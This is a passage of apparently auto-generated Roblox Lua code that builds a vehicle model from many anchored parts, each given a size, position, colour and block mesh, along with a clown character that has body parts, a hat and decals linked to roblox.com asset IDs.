  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.503704,1.007408,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-45.104404,2.064049,177.956131) * CFrame.Angles(1.570796,1.503998,-1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.503704,1.007408,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(3.274077,0.251852,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-45.058029,1.808540,179.593109) * CFrame.Angles(1.570796,1.503998,-1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(3.274077,0.251852,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.391852,0.251852,1.089630)
  Vehicle_Part.CFrame = CFrame.new(-44.782902,1.689728,182.457916) * CFrame.Angles(-3.141575,-0.799518,-3.141568)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.391852,0.251852,1.089630)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,1.586668,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-42.971748,2.695626,182.867157) * CFrame.Angles(-1.570796,-0.321754,1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,1.586668,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,0.277037,0.805927)
  Vehicle_Part.CFrame = CFrame.new(-29.018219,1.444821,176.583572) * CFrame.Angles(0.000000,0.785386,-0.000001)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,0.277037,0.805927)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.703704,0.651852,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-28.905235,3.979043,177.300583) * CFrame.Angles(0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(331)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Clown = Instance.new(&apos;Model&apos;, Vehicle)
  Vehicle_Clown.Name = &quot;Clown&quot;
  Vehicle_Clown_Body_Colors = Instance.new(&apos;BodyColors&apos;, Vehicle_Clown)
  Vehicle_Clown_Body_Colors.Name = &quot;Body Colors&quot;
  Vehicle_Clown_Pants = Instance.new(&apos;Pants&apos;, Vehicle_Clown)
  Vehicle_Clown_Pants.Name = &quot;Pants&quot;
  Vehicle_Clown_Pants.PantsTemplate = &quot;http://www.roblox.com/asset/?id=792216448&quot;
  Vehicle_Clown_Shirt = Instance.new(&apos;Shirt&apos;, Vehicle_Clown)
  Vehicle_Clown_Shirt.Name = &quot;Shirt&quot;
  Vehicle_Clown_Shirt.ShirtTemplate = &quot;http://www.roblox.com/asset/?id=794159502&quot;
  Vehicle_Clown_Humanoid = Instance.new(&apos;Humanoid&apos;, Vehicle_Clown)
  Vehicle_Clown_Humanoid.Name = &quot;Humanoid&quot;
  Vehicle_Clown_Humanoid.Health    = 0
  Vehicle_Clown_Humanoid.MaxHealth = 0
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.703704,0.651852,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Clown_Head = Instance.new(&apos;Part&apos;, Vehicle_Clown)
  Vehicle_Clown_Head.Name = &quot;Head&quot;
  Vehicle_Clown_Head.formFactor = compatibility
  Vehicle_Clown_Head.Anchored = true
  Vehicle_Clown_Head.Size       = Vector3.new(2.000000,1.000000,1.000000)
  Vehicle_Clown_Head.CFrame = CFrame.new(-36.767441,6.403084,181.755814) * CFrame.Angles(0.000000,0.003739,-0.000017)
  Vehicle_Clown_Head.BrickColor = BrickColor.new(1001)
  Vehicle_Clown_Head.Transparency = 0.000000
  Vehicle_Clown_Head.CanCollide = true
  Vehicle_Clown_Head_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Clown_Head)
  Vehicle_Clown_Head_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Clown_Head_Mesh.MeshType  = Enum.MeshType.Head
  Vehicle_Clown_Head_Mesh.Scale     = Vector3.new(1.250000,1.250000,1.250000)
  Vehicle_Clown_Head_Decal = Instance.new(&apos;Decal&apos;, Vehicle_Clown_Head)
  Vehicle_Clown_Head_Decal.Name = &quot;Decal&quot;
  Vehicle_Clown_Head_Decal.Texture = &quot;rbxassetid://740455053&quot;
  Vehicle_Clown_Head_Decal.Face    = Enum.NormalId.Front
  Vehicle_Clown_Head_HeadWeld = Instance.new(&apos;Weld&apos;, Vehicle_Clown_Head)
  Vehicle_Clown_Head_HeadWeld.Name = &quot;HeadWeld&quot;
  Vehicle_Clown_Left_Arm = Instance.new(&apos;Part&apos;, Vehicle_Clown)
  Vehicle_Clown_Left_Arm.Name = &quot;Left Arm&quot;
  Vehicle_Clown_Left_Arm.formFactor = compatibility
  Vehicle_Clown_Left_Arm.Anchored = true
  Vehicle_Clown_Left_Arm.Size       = Vector3.new(1.000000,2.000000,1.000000)
  Vehicle_Clown_Left_Arm.CFrame = CFrame.new(-38.267448,4.903109,181.761429) * CFrame.Angles(0.000000,0.003739,-0.000017)
  Vehicle_Clown_Left_Arm.BrickColor = BrickColor.new(1001)
  Vehicle_Clown_Left_Arm.Transparency = 0.000000
  Vehicle_Clown_Left_Arm.CanCollide = false
  Vehicle_Clown_Left_Leg = Instance.new(&apos;Part&apos;, Vehicle_Clown)
  Vehicle_Clown_Left_Leg.Name = &quot;Left Leg&quot;
  Vehicle_Clown_Left_Leg.formFactor = compatibility
  Vehicle_Clown_Left_Leg.Anchored = true
  Vehicle_Clown_Left_Leg.Size       = Vector3.new(1.000000,2.000000,1.000000)
  Vehicle_Clown_Left_Leg.CFrame = CFrame.new(-37.267494,2.903096,181.757690) * CFrame.Angles(0.000000,0.003739,-0.000017)
  Vehicle_Clown_Left_Leg.BrickColor = BrickColor.new(1001)
  Vehicle_Clown_Left_Leg.Transparency = 0.000000
  Vehicle_Clown_Left_Leg.CanCollide = false
  Vehicle_Clown_Right_Arm = Instance.new(&apos;Part&apos;, Vehicle_Clown)
  Vehicle_Clown_Right_Arm.Name = &quot;Right Arm&quot;
  Vehicle_Clown_Right_Arm.formFactor = compatibility
  Vehicle_Clown_Right_Arm.Anchored = true
  Vehicle_Clown_Right_Arm.Size       = Vector3.new(1.000000,2.000000,1.000000)
  Vehicle_Clown_Right_Arm.CFrame = CFrame.new(-35.267479,4.903059,181.750214) * CFrame.Angles(0.000000,0.003739,-0.000017)
  Vehicle_Clown_Right_Arm.BrickColor = BrickColor.new(1001)
  Vehicle_Clown_Right_Arm.Transparency = 0.000000
  Vehicle_Clown_Right_Arm.CanCollide = false
  Vehicle_Clown_Right_Leg = Instance.new(&apos;Part&apos;, Vehicle_Clown)
  Vehicle_Clown_Right_Leg.Name = &quot;Right Leg&quot;
  Vehicle_Clown_Right_Leg.formFactor = compatibility
  Vehicle_Clown_Right_Leg.Anchored = true
  Vehicle_Clown_Right_Leg.Size       = Vector3.new(1.000000,2.000000,1.000000)
  Vehicle_Clown_Right_Leg.CFrame = CFrame.new(-36.267502,2.903079,181.753952) * CFrame.Angles(0.000000,0.003739,-0.000017)
  Vehicle_Clown_Right_Leg.BrickColor = BrickColor.new(1001)
  Vehicle_Clown_Right_Leg.Transparency = 0.000000
  Vehicle_Clown_Right_Leg.CanCollide = false
  Vehicle_Clown_Torso = Instance.new(&apos;Part&apos;, Vehicle_Clown)
  Vehicle_Clown_Torso.Name = &quot;Torso&quot;
  Vehicle_Clown_Torso.formFactor = compatibility
  Vehicle_Clown_Torso.Anchored = true
  Vehicle_Clown_Torso.Size       = Vector3.new(2.000000,2.000000,1.000000)
  Vehicle_Clown_Torso.CFrame = CFrame.new(-36.767471,4.903084,181.755814) * CFrame.Angles(0.000000,0.003739,-0.000017)
  Vehicle_Clown_Torso.BrickColor = BrickColor.new(1001)
  Vehicle_Clown_Torso.Transparency = 0.000000
  Vehicle_Clown_Torso.CanCollide = true
  Vehicle_Clown_Torso_roblox = Instance.new(&apos;Decal&apos;, Vehicle_Clown_Torso)
  Vehicle_Clown_Torso_roblox.Name = &quot;roblox&quot;
  Vehicle_Clown_Torso_roblox.Texture = &quot;&quot;
  Vehicle_Clown_Torso_roblox.Face    = Enum.NormalId.Front
  Vehicle_Clown_Torso_Left_Shoulder = Instance.new(&apos;Motor6D&apos;, Vehicle_Clown_Torso)
  Vehicle_Clown_Torso_Left_Shoulder.Name = &quot;Left Shoulder&quot;
  Vehicle_Clown_Torso_Right_Hip = Instance.new(&apos;Motor6D&apos;, Vehicle_Clown_Torso)
  Vehicle_Clown_Torso_Right_Hip.Name = &quot;Right Hip&quot;
  Vehicle_Clown_Torso_Left_Hip = Instance.new(&apos;Motor6D&apos;, Vehicle_Clown_Torso)
  Vehicle_Clown_Torso_Left_Hip.Name = &quot;Left Hip&quot;
  Vehicle_Clown_Torso_Neck = Instance.new(&apos;Motor6D&apos;, Vehicle_Clown_Torso)
  Vehicle_Clown_Torso_Neck.Name = &quot;Neck&quot;
  Vehicle_Clown_Clown = Instance.new(&apos;Hat&apos;, Vehicle_Clown)
  Vehicle_Clown_Clown.Name = &quot;Clown&quot;
  Vehicle_Clown_Clown_Handle = Instance.new(&apos;Part&apos;, Vehicle_Clown_Clown)
  Vehicle_Clown_Clown_Handle.Name = &quot;Handle&quot;
  Vehicle_Clown_Clown_Handle.formFactor = compatibility
  Vehicle_Clown_Clown_Handle.Anchored = true
  Vehicle_Clown_Clown_Handle.Size       = Vector3.new(2.000000,2.000000,2.000000)
  Vehicle_Clown_Clown_Handle.CFrame = CFrame.new(-36.767441,6.253085,181.756088) * CFrame.Angles(0.000000,0.003739,-0.000017)
  Vehicle_Clown_Clown_Handle.BrickColor = BrickColor.new(194)
  Vehicle_Clown_Clown_Handle.Transparency = 0.000000
  Vehicle_Clown_Clown_Handle.CanCollide = false
  Vehicle_Clown_Clown_Handle_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Clown_Clown_Handle)
  Vehicle_Clown_Clown_Handle_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Clown_Clown_Handle_Mesh.MeshType  = Enum.MeshType.FileMesh
  Vehicle_Clown_Clown_Handle_Mesh.MeshId    = &quot;http://www.roblox.com/asset/?id=15393031&quot;
  Vehicle_Clown_Clown_Handle_Mesh.TextureId = &quot;http://www.roblox.com/asset/?id=15393013&quot;
  Vehicle_Clown_Clown_Handle_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(6.296302,2.266747,1.029561)
  Vehicle_Part.CFrame = CFrame.new(-44.204987,3.697588,179.593140) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,1.599261,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-41.540390,2.697634,182.867157) * CFrame.Angles(-1.570796,0.321749,1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,1.599261,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.211852,0.251852,1.089630)
  Vehicle_Part.CFrame = CFrame.new(-44.860744,1.682310,176.670547) * CFrame.Angles(3.141577,0.728492,-3.141570)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.211852,0.251852,1.089630)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,0.251852,6.748157)
  Vehicle_Part.CFrame = CFrame.new(-36.927185,1.682860,176.319168) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  pcall(function() Vehicle_Part_Part_to_Part_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part_Strong_Joint.Name = &quot;Part-to-Part Strong Joint&quot; end)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,0.251852,6.748157)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(1.762965,0.251852,2.518521)
  Vehicle_Part.CFrame = CFrame.new(-41.927200,3.193936,177.830200) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  pcall(function() Vehicle_Part_Part_to_Part_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part_Strong_Joint.Name = &quot;Part-to-Part Strong Joint&quot; end)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(1.762965,0.251852,2.518521)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,0.251852,0.755557)
  Vehicle_Part.CFrame = CFrame.new(-40.793907,4.201293,182.867157) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,0.251852,0.755557)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.703704,0.651852,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-28.905235,3.979043,181.700577) * CFrame.Angles(0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(331)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.703704,0.651852,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(6.296302,1.511113,6.318525)
  Vehicle_Part.CFrame = CFrame.new(-37.027122,2.312468,179.593140) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  pcall(function() Vehicle_Part_Part_to_Part_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part_Strong_Joint.Name = &quot;Part-to-Part Strong Joint&quot;
  Vehicle_Part_Part_to_Part1_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part1_Strong_Joint.Name = &quot;Part-to-Part1 Strong Joint&quot; end)
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.503704,0.251852,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-44.843658,4.200522,181.980759) * CFrame.Angles(2.725927,1.404738,-2.731018)
  Vehicle_Part.BrickColor = BrickColor.new(311)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.503704,0.251852,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,0.251852,1.070371)
  Vehicle_Part.CFrame = CFrame.new(-33.332985,2.060593,176.319138) * CFrame.Angles(-1.570796,0.643499,1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,0.251852,1.070371)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.755556,1.259261,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-44.874474,3.446671,182.112869) * CFrame.Angles(2.725927,1.404738,-2.731018)
  Vehicle_Part.BrickColor = BrickColor.new(311)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.755556,1.259261,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,3.568892,5.231853)
  Vehicle_Part.CFrame = CFrame.new(-32.075951,5.420540,176.570953) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 1.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Decal = Instance.new(&apos;Decal&apos;, Vehicle_Part)
  Vehicle_Part_Decal.Name = &quot;Decal&quot;
  Vehicle_Part_Decal.Texture = &quot;http://www.roblox.com/asset/?id=60762971&quot;
  Vehicle_Part_Decal.Face    = Enum.NormalId.Right
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,3.568892,5.231853)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,0.251852,2.776668)
  Vehicle_Part.CFrame = CFrame.new(-44.846161,4.064264,179.590012) * CFrame.Angles(3.141554,-0.000064,-3.030904)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,0.251852,2.776668)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(5.782967,1.737784,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-40.793861,3.936862,179.580170) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(5.782967,1.737784,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,0.251852,2.776668)
  Vehicle_Part.CFrame = CFrame.new(-44.935246,3.263277,179.589966) * CFrame.Angles(3.141554,-0.000064,-3.030904)
  Vehicle_Part.BrickColor = BrickColor.new(194)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,0.251852,2.776668)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.755556,1.259261,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-44.974461,3.446681,177.073761) * CFrame.Angles(0.519468,1.435922,-0.515547)
  Vehicle_Part.BrickColor = BrickColor.new(311)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.755556,1.259261,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,0.251852,2.776668)
  Vehicle_Part.CFrame = CFrame.new(-44.887901,3.688804,179.589981) * CFrame.Angles(3.141554,-0.000064,-3.030904)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
